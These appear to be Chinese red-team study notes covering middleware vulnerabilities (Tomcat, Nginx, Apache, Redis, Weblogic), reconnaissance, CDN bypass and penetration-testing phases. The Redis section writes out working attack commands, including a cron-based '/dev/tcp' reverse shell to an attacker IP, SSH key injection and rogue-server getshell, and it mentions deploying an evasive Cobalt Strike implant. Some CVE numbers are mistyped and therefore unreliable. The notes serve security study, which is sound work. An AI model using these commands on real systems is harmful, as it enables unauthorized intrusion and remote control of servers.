安恒redteam-2(中间件)

一、Tomcat(jsp网站)

弱口令&&部署war包

Vulhub下载yml文件,在kali运行

CVE-2017-12615[put方法]
运行环境:windows 且 开启http put(put默认关闭)
影响版本:apache tomcat 7.0.0-7.0.81
影响范围:(几乎实战中不存在,因为需要人为开启不必要的选项

CVE-2019-0232[CGIServlet命令注入]

CVE-2020-1938[AJP]

弱口令&&部署war包:通用性漏洞-实战存在

War文件:web archive file是网络应用程序的文件格式。由于jsp特性,不像php能直接在www目录下运行,jsp需要中间件进行部署如tomcat,所以该漏洞是tomcat的通用型漏洞。)

如果有上图所示tomcat的展示界面,从manager app 窗口进行登录,从网上找口令尝试。或者访问 http://x.x.x.x:xx/manager/html 进入管理后台(若存在)。
进行暴力破解时,tomcat属于基础验证,在请求头中有经过base64加密的账号口令: tomcat:tomcat //base64加密前,使用bp的爆破模块,将账号字典和密码字典在excel上进行拼接,中间用冒号隔开,然后通过base64加密。

拉取镜像

Tomcat是apache的扩展,开发和调试JSP程序的首选,对应木马类型应该是.JSP脚本。低版本tomcat存在弱口令(<7),而tomcat8没有默认用户,需要管理员通过本地ip修改配置

环境起不来

二、Nginx

CVE-2013-4547[文件名逻辑错误]

起环境

该漏洞在文件名后面加一个空格就可以绕过(linux)

将文件名修改为xx…php[空格] 一样可以发送

通过bp或者edito 010修改hex(16进制数据),png….php中的前两个点为 20 00

接着访问该文件 如test.pnbg…php依然在bp修改hex ..为20 00 放行

可以成功解析php。原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

CVE-201707529[越界读取缓存漏洞]

先启动环境

运行poc,发现获取到了多余的缓存内容

目录穿越

原理:使用了不正确的配置。比如本该通过/file/定向到/home/(取别名,file相当于home),却写成/file缺少/结尾,导致可以/file../造成路径穿越

此时输入../能造成路径穿越

解析漏洞

类似 CVE-2013-4547 nginx调用fastcgi处理“ .php”文件时,若该文件不存在,就会触发修复路径的机制,解析上一层文件,也就是本来是https://ip/test.png/.php,由于该文件不存在,fastcgi进而解析test.png而该文件可以是图片马。

但是!如果php-fpm.conf中的security.limit_extensions指定fastcgi解析文件的类型时,只有该设置为空,也就是管理员未进行配置时,fastcgi才可以将“ .png”文件当成php代码执行

CVE-2019-11043[PHP-FPM远程代码执行漏洞]

三、Apache

CVE-2017-15715[换行解析漏洞]

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

上图为环境成功运行的反馈

如下图,直接上传文件会被拦截

在数据包中加入显示

多后缀解析漏洞

CVE-2021-40438[mod_proxy SSRF]

SSI远程命令执行

CVE-20221-41773[路径穿越]

只有符合该版本并且开cgi开启或cgid开启才可能被利用

上图环境起好了

CVE-2021-42013[路径穿越]

是对cve-2017-41773的绕过

Url二次解析绕过

四、Log4j

CVE-2017-5645[反序列化]

Log4j用于控制日志传输。信息格式级别

CVE-2021044228[JNDI注入]

环境起不来

Redis

Docker pull vertigo/redis4

Docker run -p 6379:6379 vertigo/redis4

1、

redis存在持久化机制,可以自动触发以及手动触发。手动触发可以通过“save”命令触发备份数据库中的数据,可以实现对服务器任意路径写入任意名称任意内容的数据。

利用条件:redis存在未授权:空口令连接。或者口令被爆破能成功连接上redis数据库,还需要开启web服务并且知道web目录的绝对路径。对文件具备读写权限。

  • redis主从复制getshell

原理:一个实例为主,其他示例为从,主负责写,从负责读。

条件。Redis存在未授权等漏洞被成功连接,目标主机和攻击主机网络联通,redis版本4.x、5.x,通过主从写入.so或者dll,使得目标主机执行被写入的命令。

工具:redis-rogue-server

Url:https://github.com/Dliv3/redis-rogue-server

命令:python3 redis-rogue-server.py –rhost=x.x.x.x(目标主机) –rport=6379 –lhost=x.x.x.x(攻击主机)

Windows下redis主从复制DLL劫持Getshell

  1. 工具:https://github.com/r35tart/RedisWriteFile //利用工具
  2. 恶意dll通过webshell调用利用:

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.dll –rfile dbghelp.dll

  • 上传木马exe(cs上线木马)到目标主机的C:\\Windows\\Temp目录,该exe需要免杀

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.exe –rfile dbghelp.exe –rpath “C:\\Windows\\Temp”

下面是第二步dll生成的方式:

  1. github上找dll-hijacking(https://github.com/rek7/dll-hijacking)
  2. 编辑该dll文件,修改dbghelp_的导出路径,即 dbghelp_=>C:\\Windows\\System32\\dbghelp

Linux系统下的redis

原理:利用Redis写入SSH公钥。Linux的ssh密钥登录功能是通过自带的免密功能生成公钥和对应的私钥,将公钥上传至目标主机特定位置并且特定命名,攻击机可通过私钥ssh连接。

而redis写公钥是将攻击机本机的ssh公钥作为value,然后修改数据库的默认路径为/root/.ssh和默认文件名authorized.keys,把数据备份到authorized.keys中,就可以通过密钥登录。

利用背景:redis能被成功连接且开放ssh,并且redis进程为高权限(写入位置在root)并开启密钥登录认证功能

在实际情况内网环境中,ssh可能不是22端口。

  1. 在kali的~/.ssh目录下输入(root权限): ssh-keygen -t rsa

即在当前目录下生成文件。

  • 生成带有换行符的密钥并传入redis

(echo -e “\n\n”;cat /Users/sven/.ssh/id_rsa.pub;echo -e “\n\n”) > key.txt

Cat key.txt | ./redis-cli -h x.x.x.x -x set xxx

  • Config set dir /root/.ssh/   //设置目录
  • Set dbfilename authorized_keys  //设置文件名
  • Save //保存
  • Ssh -i /Users/sven/.ssh/id_rsa root@x.x.x.x

Redis写入linux计划任务

漏洞原理:将文件写入系统计划任务目录 /var/spool/cron/root文件来执行。Redis操作同写webshell,关键点是将一句话计划任务作为value,通过修改数据库的默认路径为 /var/spool/cron/和默认文件名root,将数据备份到root文件里,系统根据计划任务执行命令(和持久化道理一样)

利用条件:redis能被连接,目标主机能访问攻击机,且目标主机系统为centos,redis进程为高权限(什么叫高权限?)可以设置计划任务。

漏洞利用:连接上redis的情况下:

  1. set xxx “\n\n*/1*****bash -i >& /dev/tcp/攻击机公网ip/443 0>&1\n”   //反弹shell监听443端口
  2. Config set dir /var/spool/cron/
  3. Config set dbfilename root
  4. Save

若不成功,需排查原因如出网的端口可能不是80或者443

Weblogic:(jsp网站)

CVE-2017-10271(前几年护网常见漏洞)weblogic反序列化漏洞

漏洞原理:weblogic server 的wls组件存在缺陷,由wls-wsat.war触发

Weblogic 10.3.6.0存在漏洞较多

CVE-2020-14883/CVE-2020-14882组合漏洞

14883在浏览器url地址栏输入:http://目标主机ip:目标主机端口/console/css/%252e%252e%252fconsole.portal 若成功返回可操作界面证明存在该漏洞。

通过14883可以使用14882进行命令执行getshell。

jboss(jsp网站)

APP信息搜集

学习目标:学会搜集小程序的外在资产信息;搜集app的外在、内在资产信息

使用的工具:AppinfoScanner、安卓修改大师

本篇文章做实验的方式整理思路
实验平台:逍遥模拟器、windows10
实验工具:AppinfoScanner、安卓修改大师

实现过程:

一、app内在资源,分析源码

1.启动逍遥模拟器

2.AppinfoScanner原理是分析源码,在工具路径运行脚本,分析test.apk

我的环境配置少了某个包,运行失败。预期结果是能反编译出所有文件的。

3.打开安卓修改大师

4.打开测试用的apk文件,可以看到能进行的操作

安装好java环境之后让它反编译test.apk

分析出结果可以看到应用的信息,之后可以修改文件,做到替换里面的资源或者修改应用的权限。

下图的权限让我们思考,以前的那些o泡事件其实很多都是修改了手机的权限导致用户失去对手机的控制

看左边的功能,我们还可以到处java代码,放到自己的ide里面进行修改。在进行信息搜集时,我们可以通过像下图一样的搜索信息,查找一些接口,url等,进行下一步的分析

通过这个工具,我们可以做到搜索某些信息,修改这些信息,再打包(重新编译)。例如某个功能限制次数,我们反编译之后找到该功能代码,修改之后重新编译。

二、app外在资源

1.对app进行抓包,在之前讲过,工具用fiddler,不用bp是因为bp有些协议抓不了。开启抓包,打开apk,工具会记录操作过程中的数据交互情况

2.分析抓到的数据,有些数据可能是从cdn来的,要能判断所需真实信息,找到我们目标的ip地址,用WEB思路来进行搜集信息,比如进行端口扫描看开放的服务

3.当又遇到抓不到包的情况,我们就需要使用封包的思路来解决,因为可能存在壳,要先脱壳再编译。那么我们可以用工具看看有没有加壳,如下图,使用查壳工具打开test.apk.另外对于没有安装包的应用,还可以用工具【APK资源提取器】先把安装包apk文件提取出来,再放在查壳工具看。

显然没有加壳
封包工具

封包工具 把数据流量用数据包封装达到检测每一步操作的效果

4.Xposed 框架

以后学

CDN绕过

跟迪总学,记笔记
知识点:
·CDN知识-工作原理以及阻碍
·CDN配置-域名&区域&类型
·CDN绕过
·CDN绑定-HOSTS绑定指向访问

上了CDN之后,访问流程是这样的:
用户访问域名->cdn节点->真实服务器IP->访问目标主机

也就是说有些时候拿到权限可能只是CDN的权限,不是目的主机

之前我们也说过怎么知道有没有开CDN,如果在多地ping同一个域名出现不一样的ip地址,一般来说是开了CDN。
使用工具:超级ping,能实现从全国多地ping同一个域名

CDN配置:
·加速域名
·加速区域
·加速资源

CDN配置有关文章可以参考:
https://zhuanlan.zhihu.com/33440472

绕过CDN:

1.漏洞&遗留文件
遗留文件:当一个网站有phpinfo文件(用来调试php),会暴露服务器ip地址。注意到当没有配置内网网卡的话,会直接暴露真实ip,多个网卡就不一定是目标IP。
漏洞:ssrf漏洞,也可以爆出真实ip。
一般来说,正向访问CDN可能不能找到真实ip但是换个思路想,让CDN来找我们的时候就会暴露真实ip

2.子域名查询操作
当加速域名配置不包含子域名,比如加速了www.abc.com,而存在一个test.abc.com是没有被CDN加速的,也就是说访问这个test.abc.com会是真实ip,因为一般子域名和主站会绑定同一个IP

3.国外访问
其实能被国外访问找到真实ip,因为加速的时候选择加速的区域是国内。
【网站】https://tools.ipip.net/cdn.php
用非洲冷门国家去访问,效果好很多

4.主动邮件配合备案
很多站点有发送邮件的功能,而邮件系统一般在内部没有经过CDN解析,让目标主动发邮件会暴露目标真实ip地址。
比如,有密码找回,发送邮件之后在邮箱查看邮件能看到IP地址

有个网站直接看真实ip:
get-site-ip.com

5.fuckcdn
github上找这个工具使用

找到真实ip后要干嘛?修改hosts文件让以后域名与真实ip绑定
如在windows\System32\drivers\etc\hosts 写上ip地址与域名,ping域名就出来真实ip。
以后使用ip就不会误用节点的ip了

信息搜集-(网站信息最后更新2025年)

不懂就百度

一、可以通过审查知道的内容

1.网站使用的语言
F12审查网页,看看引用的包的后缀,比如引用php文件那么就用的php写的文件;
从审查network处抓包查看返回报文,能看到诸如中间件的信息;

2.网站操作系统
输入index.php,通过改变大小写,linux对大小写敏感;
ping,64或255一般是linux;128一般是win;如果ttl不是特殊的数字就看离哪个近;
端口扫描一扫也能知道;

3.数据库语言
百度一下最佳组合,比如问php跟apache跟什么数据库最合适;

4.通过查询备案信息

5.通过security.R1nG网站中,【全部】处可以找到信息搜集的一些网站,知识,思路。链接在之前的文章有。

二、利用其它思路获取信息

1.burp suit抓包,看是不是走的网络协议,具体抓包方式以前写的文章有。观察网址的变化,找到奇怪的网址然后保存它发送到repeater,对这个网站发送接收信息。也可以在网址访问该网站

2.百度端口扫描,扫那个坏网站,看到开放的的端口然后进行判断

网站源码获取

源码泄露;资源监控;
比如GitHub gitee上可能有人分享公司的代码。

为什么说PHP是世界上最好的语言?漏洞多

源码泄露的原因:
1.源码本身的特性入口
2.管理员不好的习惯
3.管理员不好的配置
4.管理员不好的意识
5.管理员资源信息搜集

1.cms
使用云悉指纹识别平台。为啥有些识别不出来,因为它们用的不是已知的开源的cms
识别的意义:找已知漏洞

2.备份文件
使用工具:7kb,扫描网站的一些目录,找到备份文件。能找到是因为管理员不好的习惯,没有抹去或者改变默认的信息。同时如果在错误的路径(目录)备份,备份文件就可能被扫出来,进而知道整个源码

3.配置不当-github泄露
程序员使用github或者gitee平台同步自己编写的代码。如果上架前不删除”.git”目录,可以通过这个目录来复原。
工具:githack(python2环境)

4.php特性
例如在网址输入:composer.json看到有使用框架的使用的具体技术

输入

服务器厂商信息:

外网ip怎么转到内网的?
通过网关或者路由器,添加端口映射,比如添加192.168.1.13,端口80(外)、80(内)这个映射,达到外放访问公网ip的80端口会跳转到内网ip的80端口

端口扫描工具:
masscan(快)
nmap
关于端口扫描,以前文章写有

waf识别:
csdn有相关文件

负载均衡识别:其实负载均衡也可以理解成cdn那样,在实训的时候我曾经用tomcat实现负载均衡


一、主机信息搜集

1、操作系统:

①WEB大小写区分操作系统(windows区分大小写,linux不区分)

②端口服务特征(windows3389,linux22)

③TTL判断(windows比较大,linux比较小)

2、IP:

①归属地查询

②归属云厂商

③IP反查机构

④IP反查域名

微步查询、站长之家、fofa

⑤IPc段查询

fofa

3、端口:

①网络资产引擎:fofa、hunter、quake、00信安

②工具:

nmap:最准,但是最慢

masscan:最快,误报高

无影

扫描会遇到的问题导致扫描不准确:

①扫描不到:防火墙策略、白名单策略等

绕过:

换协议扫描 //几率跳过,比如只限制了tcp没限制udp

②扫描不准:网站在内网经过中转,扫描的ip是转发的设备不是真实资产

绕过:

漏洞反连

4、判断资产属性:

1)网站服务器

2)数据库服务器

3)邮件系统服务器

4)文件存储服务器

5)网络通信服务器

6)安全系统服务器

标签名称地址
企业信息天眼查https://www.tianyancha.com/
企业信息小蓝本https://www.xiaolanben.com/
企业信息爱企查https://aiqicha.baidu.com/
企业信息企查查https://www.qcc.com/
企业信息国外企查https://opencorporates.com/
企业信息启信宝https://www.qixin.com/
备案信息备案信息查询http://www.beianx.cn/
备案信息备案管理系统https://beian.miit.gov.cn/
注册域名域名注册查询https://buy.cloud.tencent.com/domain
IP反查IP反查域名https://x.threatbook.cn/
标签名称地址
DNS数据dnsdumpsterhttps://dnsdumpster.com/
证书查询CertificateSearchhttps://crt.sh/
网络空间FOFAhttps://fofa.info/
网络空间全球鹰http://hunter.qianxin.com/
网络空间360https://quake.360.cn/quake/
威胁情报微步在线 情报社区https://x.threatbook.cn/
威胁情报奇安信 威胁情报中心https://ti.qianxin.com/
威胁情报360 威胁情报中心https://ti.360.cn/#/homepage
枚举解析在线子域名查询http://tools.bugscaner.com/subdomain/
枚举解析DNSGrep子域名查询https://www.dnsgrep.cn/subdomain
枚举解析工具强大的子域名收集器https://github.com/shmilylty/OneForAll
标签名称地址
网络空间钟馗之眼https://www.zoomeye.org/
网络空间零零信安https://0.zone/
网络空间Shodanhttps://www.shodan.io/
网络空间Censyshttps://censys.io/
网络空间ONYPHEhttps://www.onyphe.io/
网络空间FullHunthttps://fullhunt.io/
网络空间Soall Search Enginehttps://soall.org/
网络空间Netlashttps://app.netlas.io/responses/
网络空间Leakixhttps://leakix.net/
网络空间DorkSearchhttps://dorksearch.com/
威胁情报VirusTotal在线查杀平台https://www.virustotal.com/gui/
威胁情报VenusEye 威胁情报中心https://www.venuseye.com.cn/
威胁情报绿盟科技 威胁情报云https://ti.nsfocus.com/
威胁情报IBM 情报中心https://exchange.xforce.ibmcloud.com/
威胁情报天际友盟安全智能平台https://redqueen.tj-un.com
威胁情报华为安全中心平台https://isecurity.huawei.com/sec
威胁情报安恒威胁情报中心https://ti.dbappsecurity.com.cn/
威胁情报AlienVaulthttps://otx.alienvault.com/
威胁情报深信服https://sec.sangfor.com.cn/
威胁情报丁爸情报分析师的工具箱http://dingba.top/
威胁情报听风者情报源 start.mehttps://start.me/p/X20Apn
威胁情报GreyNoise Visualizerhttps://viz.greynoise.io/
威胁情报URLhaus 数据库https://urlhaus.abuse.ch/browse/
威胁情报Pithushttps://beta.pithus.org/

5、域名:

①、备案信息

通过域名查备案信息,备案信息获取更多域名

②、企业产权

通过企业产权查询Web,APP,小程序等版权资产

③、域名相关性

Whois信息:例如域名所有人、域名注册商、邮箱等。

通过域名注册接口获取后缀 //关注点是否有抢注

查询域名注册邮箱

通过域名查询备案号

通过备案号查询域名

反查注册邮箱

反查注册人

通过注册人查询到的域名在查询邮箱

通过上一步邮箱去查询域名

查询以上获取出的域名的子域名

6、子域名:

在后续测试中,还要注意对子域名进行筛选整理,太多的垃圾子域名和没用的子域名,主要看你的收集的子域名方法决定。

①、DNS数据

以DNS解析历史记录查询域名资产

②、证书查询

以SSL证书解析查询域名资产

③、网络空间

多网络空间综合型获取的记录

④、威胁情报

各类接口的集成的记录

⑤、枚举解析

结果主要以字典决定

https://github.com/knownsec/ksubdomain

https://github.com/shmilylty/OneForAll


指纹识别:

#Web架构

开源CMS:

Discuz、WordPress、PageAdmin、蝉知等

前端技术:

HTML5、Jquery、Bootstrap、Vue、NodeJS等

开发语言:

PHP、JAVA、Ruby、Python、C#、JS、Go等

框架组件:

SpringMVC、Thinkphp、Yii、Tornado、Vue等

Web服务器:

Apache、Nginx、IIS、Lighttpd等

应用服务器:

Tomcat、Jboss、Weblogic、Websphere等

数据库类型:

端口扫描,组合判断,应用功能

Mysql、SqlServer、Oracle、Redis、MongoDB等

操作系统信息:

Linux、Windows、Mac等

应用服务信息:

FTP、SSH、RDP、SMB、SMTP、LDAP、Rsync等

CDN信息:

帝联、Cloudflare、网宿、七牛云、阿里云等

WAF信息:

创宇盾、宝塔、ModSecurity、玄武盾、OpenRASP等。

蜜罐信息:

HFish、TeaPot、T-Pot、Glastopf等

其他组件信息:

FastJson、Shiro、Log4j、Solr、XStream等

#指纹识别:

1、平台:

https://www.yunsee.cn/ //使用云悉扫网站,识别cms信息等

http://finger.tidesec.net/

https://fp.shuziguanxing.com

2、谷歌插件:wappalyzer

3、网页图标:fofa、quake


参考文章:

https://www.secpulse.com/archives/124398.html

https://mp.weixin.qq.com/s/QgLDdaefXlZtvlSiFQShZw

https://mp.weixin.qq.com/s/zhjxW2mUEgq6dFAp3kBcgQ

泄漏点:

1、webpack打包泄露

2、composer.json

php的第三方依赖

3、github源码泄露

4、git源码泄露:

在url最后加上.git查看是否有泄露,然后运行githack.py下载泄露的文件(python2.7)

5、svn源码泄露

在url最后加上.svn查看是否有泄露,然后运行Svnhack下载泄露文件(python2.7)

6、网站备份压缩文件(xxx.zip xxx.rar)

7、DS_Store文件泄露

这是MAC系统下的用来保存展示文件/文件夹的数据文件,每个文件夹下对应一个,可能造成文件目录结构泄露,特别是备份文件、源代码等,低危。若发现某个路径下有.Ds_Store,使用ds_store_exp进行恢复,可能能还原目录结构。

8、hg源码泄露

9、SWP文件泄露(少见)

10、CVS泄露

11、Bzr泄露(少见)

12、WEB-INF/web.xml泄露

检查源码泄露的工具:

通用:https://github.com/0xHJK/dumpall

GIT:https://github.com/lijiejie/GitHack

SVN:https://github.com/callmefeifei/SvnHack

DS_Store:https://github.com/lijiejie/ds_store_exp

webpack打包:https://github.com/NothingCw/SourceDetector-dist

使用github搜索泄露情况:

①F12检查网页代码中的敏感js,到github上搜。

资源搜索语法:

in:name test #仓库标题搜索含有关键字

in:descripton test #仓库描述搜索含有关键字

in:readme test #Readme文件搜素含有关键字

stars:>3000 test #stars数量大于3000的搜索关键字

stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字 forks:>1000 test #forks数量大于1000的搜索关键字

forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字 size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字 pushed:>2019-02-12 test #发布时间大于2019-02-12的搜索关键字 created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字 user:test #用户名搜素

license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字 language:java test #在java语言的代码中搜索关键字

user:test in:name test #组合搜索,用户名test的标题含有test的

关键字配合谷歌搜索:

site:Github.com smtp

site:Github.com smtp @qq.com

site:Github.com smtp @126.com

site:Github.com smtp @163.com

site:Github.com smtp @sina.com.cn

site:Github.com smtp password

site:Github.com String password smtp

0、JS信息收集

接口URL提取

后端地址提取

敏感信息提取

配置信息提取

其他信息提取(环境,注释,用途等)

1、JS安全问题

源码泄漏,代码审计,JS逆向分析

未授权访问=JS里面分析更多的URL访问确定接口路径

敏感Key泄漏=JS文件中配置接口信息(云应用,短信,邮件,数据库等)

API接口安全=(代码中加密提交参数传递,更多的URL路径)

2、流行的Js框架有那些?

Vue NodeJS jQuery Angular等

3、如何判定JS开发应用?

插件wappalyzer

源程序代码简短

引入多个js文件

一般有/static/js/app.js等顺序的js文件

一般cookie中有connect.sid

4、如何获取更多的JS文件?

手工-浏览器搜索

半自动-Burpsuite插件

工具化-各类提取&FUZZ项目

5、如何快速获取价值信息?

src=

path=

method:”get”

http.get(“

method:”post”

http.post(“

$.ajax

http://service.httppost

http://service.httpget

标签名称地址
FUZZ测试ffuf(好用)https://github.com/ffuf/ffuf
匹配插件Haehttps://github.com/gh0stkey/HaE
JS提取JSFinder(弃用)https://github.com/Threezh1/JSFinder
JS提取爬虫URLFinder(比上面的好用)https://github.com/pingc0y/URLFinder
WebPack分析Packer-Fuzzerhttps://github.com/rtcatc/Packer-Fuzzer
JS匹配插件BurpAPIFinder(bp插件,相当推荐)https://github.com/shuanx/BurpAPIFinder
JS提取LinkFinderhttps://github.com/GerbenJavado/LinkFinder
WebPack分析jjjjjjjjjjjjjs(好用)https://github.com/ttstormxx/jjjjjjjjjjjjjs
JS提取爬虫FindSomething(好用)https://github.com/momosecurity/FindSomething
JS匹配插件Unexpected_informationhttps://github.com/ScriptKid-Beta/Unexpected_information
FUZZ字典字典集合https://wordlists.assetnote.io

步骤:

1、F12检查中的“源代码/来源”处,找到一些JS文件然后搜一些关键词,如搜“src=”,如“$.ajax”等,发现接口能上传就考虑文件上传,能无密码访问就是未授权。

2、通过URLFinder等工具、插件找敏感信息。

3、遇到webpack打包器的,使用jjjjjjjjjjjjjjjjjjs下载分析。


cdn配置:

1、加速域名:

加速的域名若没包括子域名,则访问子域名是真实资产。如只加速了www.baidu.com没加速blog.baidu.com,此时解析blog.baidu.com获取真实ip

2、加速区域:

可以选择仅中国内地;全球;全球(不包含中国内地) //若没有加速国外,则使用除了内地外的ip去ping能ping到真实ip,但目前国内运营商加上了中间设备进行多次跳转,该方法失效。

3、加速资源:

可以选择加速文件类型,如

4、加速证书:

证书记录-SSL查域名解析记录,获取真实ip

历史DNS解析记录,获取真实ip //网站起初没使用cdn时,真实ip解析过域名且没更换


CDN绕过找真实IP

1、ping子域名

2、国外ip ping域名 //使用网络拨测工具 https://boce.aliyun.com/detect/

3、超级ping //http://17ce.com https://ping.chinaz.com

4、利用网站功能请求攻击机的ip //如文件上传,能输入图片地址。服务器主动访问使用的是真实ip

5、邮件

操作步骤:服务器主动暴露真实IP,如发送重置密码邮件。查看邮件原文能看到发件人的ip

但是有两个问题:邮件是第三方代发;邮件服务器和服务器关系不大;

ICO图标:

1、某个应用系统的标示

2、某个公司/机构/个人团队的标示

#Python-开发框架-Django&Flask

Django

1、识别插件

2、固定的数据包格式:Set-Cookie:expires=

Flask

1、识别插件

2、固定的数据包格式:Etag: “flask X-Powered-By: Flask

Tornado

1、识别插件

2、固定的数据包格式:Server: TornadoServer

#JavaScript-开发框架-Vue&Node.js

Vue

1、识别插件

2、JS语法和加载文件

Node.js

1、识别插件

2、固定的数据包格式:ETag: W/”

#PHP-开发框架-ThinkPHP&Laravel&Yii

ThinkPHP:

0、识别插件

1、X-Powered-By: ThinkPHP

2、CMS识别到源码体系TP开发

Laravel:

1、识别插件

2、Set-Cookie中特征的格式 XSRF-TOKEN= laravel_session=

Yii:

1、识别插件

2、Set-Cookie中特征的格式 YII_CSRF_TOKEN=

#Java-框架组件-Fastjson&Shiro&Solr&Spring

52类110个主流Java组件和框架介绍:

https://blog.csdn.net/agonie201218/article/details/125300729

框架:

Struts2

一般使用struts2框架后缀带do或action,可以尝试进行利用

SpringBoot

1、默认web应用标签小绿叶图标

2、通过springboot框架默认页面

3、ICO源码体系采用SpringBoot开发

组件:

FastJson/Jackson

在提交JSON数据包中修改测试:

-FastJson组件会把01解析成1

-Jackson组件在解析01时会抛出异常

https://forum.butian.net/share/1679

Shiro

请求包的cookie中存在rememberMe字段。

返回包中存在set-Cookie:remeberMe=deleteMe。

请求包中存在rememberMe=x时,响应包中存在rememberMe=deleteMe。

有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可,将Cookie内容改为remember Me=1,若相应包有rememberMe=deleteMe,则基本可以确定网站apache shiro搭建的。

Solr识别

一般开放8983端口,访问页面也可以探针到

#工具使用:

https://github.com/projectdiscovery/nuclei

Web安全攻防渗透测试学习(一)–信息收集

相较于之前文章的学习,这篇文章是进行一些补充,并且更细致的学习

收集必要的信息包括:服务器配置信息,网站的敏感信息,包括域名、子域名信息、目标网站系统、CMS指纹、目标网站真实ip等

1.1收集域名信息
1)whois查询
2)备案信息查询

1.2敏感信息查询
利用谷歌语法,之前文章有提到过,比如找后台网站

1.3收集子域名信息
子域名就是二级域名,思路通过攻克目标的某个子域再迂回。
1)工具:
Layer子域名挖掘机、K8、wydomain、Sublist3r、Subdomainburte等,其中
Layer子域名挖掘机:使用方法简单
sublist3r:能列举多种资源在如google搜索引擎中可查到子域名
subdomainburte:用小字典递归发现三级域名、四级域名等不容易被发现的
2)搜索引擎枚举:
3)第三方应用枚举:
4)证书透明度公开日志枚举:
证书透明度(certificate transparence,CT)是CA的一个项目。利用搜索引擎搜索公开的CT日志
https://crt.sh
https://censys.io
进行子域名枚举

1.4搜集常用端口信息
除了nmap还有一些工具,如基于无状态端口扫描工具:Masscan、ZMap、御剑高速TCP端口扫描工具
———-文件共享服务端口———————————-
–端口号————端口说明—————–攻击方向—-
21/22/69 ftp/tftp文件传输协议 允许匿名的上传、下载、爆破、嗅探等
2049 nfs服务 配置不当
139 samba服务 爆破、未授权访问、远程代码执行
389 ldap目录访问协议 注入、允许匿名访问、弱口令
———————————————————————
———-远程连接服务端口———————————-
–端口号————端口说明—————–攻击方向—-
22 ssh远程连接 爆破、ssh隧道以及内网代理转发、文件传输
23 telnet远程连接 爆破、嗅探、弱口令
3389 rdp远程桌面连接 shift后门\爆破
5900 VNC 弱口令爆破
5632 pyanywhere服务 抓密码、弱口令执行
———————————————————————–
———-web应用服务端口———————————-
–端口号————端口说明—————–攻击方向—-
80/443/8080 常见web服务端口 web攻击\爆破、对应服务器版本漏洞
7001/7002 weblogic控制台 java反序列化\弱口令
8080/8089 jboss/resin/jetty/jenkins 反序列化、控制台弱口令
9090 websphere控制台 java反序列化、弱口令
4848 classfish控制台 弱口令
1352 lotus domino邮件服务 弱口令、信息泄露、爆破
10000 webmin-web控制面板 弱口令
————————————————————————-
———-数据库服务端口———————————-
–端口号————端口说明—————–攻击方向—-
3306 mysql 注入、提权、爆破
1433 sqlserver 注入、提权、爆破、SA弱口令
1521 oracle TNS爆破、注入、反弹shell
5432 postgresql 爆破、注入、弱口令
27017/27018 mongoDB 爆破、未授权访问
6379 redis 未授权访问、弱口令、爆破
5000 db2 爆破、注入
————————————————————————–
———-邮件服务端口———————————-
–端口号————端口说明—————–攻击方向—-
25 smtp邮件服务 邮件伪造
110 pop3协议 爆破、嗅探
143 imap协议 爆破
————————————————————————–
———-网络常见协议服务端口———————————-
–端口号————端口说明—————–攻击方向—-
53 DNS服务 允许区域传送、DNS劫持、缓存投毒、欺骗
67/68 DHCP服务 劫持、欺骗
161 snmp 爆破、搜集内网信息
—————————————————————————
———-特殊服务服务端口———————————-
–端口号————端口说明—————–攻击方向—-
2181 zookeeper服务 未授权访问
8069 zabbix服务 远程执行、sql注入
9200/9300 elasticsearch服务 远程执行
11211 mencache服务 未授权访问
512/513/514 linux rexec 爆破、Rlogin登录
873 rsync服务 匿名访问、文件上传
3690 svn服务 svn泄露、未授权访问
50000 sap management console 远程执行
—————————————————————————

上面的端口在平时可能接触不多,但是我认为要从实际出发不要局限平日所说的常见端口,当人工测试的时候能快速想起来端口对应的服务以及能攻击的思路就是最大化利用好时间。

1.4CMS指纹
常见CMS:
dedecms织梦
discuz
phpweb
phpwind
phpcms
ecshop
dvbbs
siteweaver
aspcms
帝国
Z-blog
wordpress
等—————————————————————
工具:御剑web指纹识别、whatweb、webrobo、椰树、轻量web指纹识别
在线网站查询cms:
bugscanner:http://whatweb.bugscanner.com/look/
云悉指纹:http://www.yunsee.cn/finger.html

1.6查真实ip
如果没用cdn,在www.ip138.com可以获取信息
如果使用cdn:
1)利用在线网站查看IP判断是否有cdn
www.17ce.com
2)内部邮箱源
邮件系统一般没经过cdn解析,通过目标网站用户注册或者RSS订阅功能,查看邮件,寻找邮件头中的邮件服务器域名ip ,然后ping它,就得到真正ip(只能是目标自己的邮件服务器有用
3)扫描网站测试文件
找到如phpinfo、test等
4)分站域名
主站挂cdn的可能分站没挂,ping二级域名找到分站,可能分站和主站在同一个c段
5)国外访问
https://asm.ca.com/en/ping.php
6)查询目标解析记录
以前没用cdn可能留下过痕迹用网站查一下:https://netcraft.com/观察ip记录
7)目标网站有app
用fiddler抓包
8)绕过cloudflare cdn查找ip
http://www.crimeflare.us/cfs.html#box

验证获取到的ip:
直接通过ip访问;
目标段比较大的时候,用masscan工具批扫描对应的ip段所有开了80、443、8080端口的ip,逐个访问然后再判断一下。

1.7搜集敏感目录文件
主要用工具扫:
dirbuster、御剑后台扫描珍藏版、wwwscan、spinder.py、sensitivefilescan、weakfilescan

1.8社会工程学



渗透测试

渗透测试过程
【根据渗透测试执行标准PTES】
1.前期交互阶段
2.情报搜集阶段
3.威胁建模阶段
4.漏洞分析阶段
5.渗透攻击阶段
6.后渗透攻击阶段
7.报告阶段

1.前期交互阶段:
测试团队与客户讨论,明白需求,确认测试的范围、目标、限制条件、授权(书面)

2.情报搜集阶段:
进行信息收集、漏洞打点

3.威胁建模阶段:
团队成员商讨,根据的收集到的信息进行【威胁建模theat modeling】与攻击计划

4.漏洞分析阶段:
进行漏洞分析

5.渗透攻击阶段:
渗透攻击(Exploitation),利用安全漏洞进行攻击、入侵、获取权限

6.后渗透阶段:
后渗透攻击post exploitation,测试团队根据目标防御计划的特点,实施获取敏感数据,进一步拓展、实施跳板

7.报告阶段:
交付给客户,拿到钱,写报告

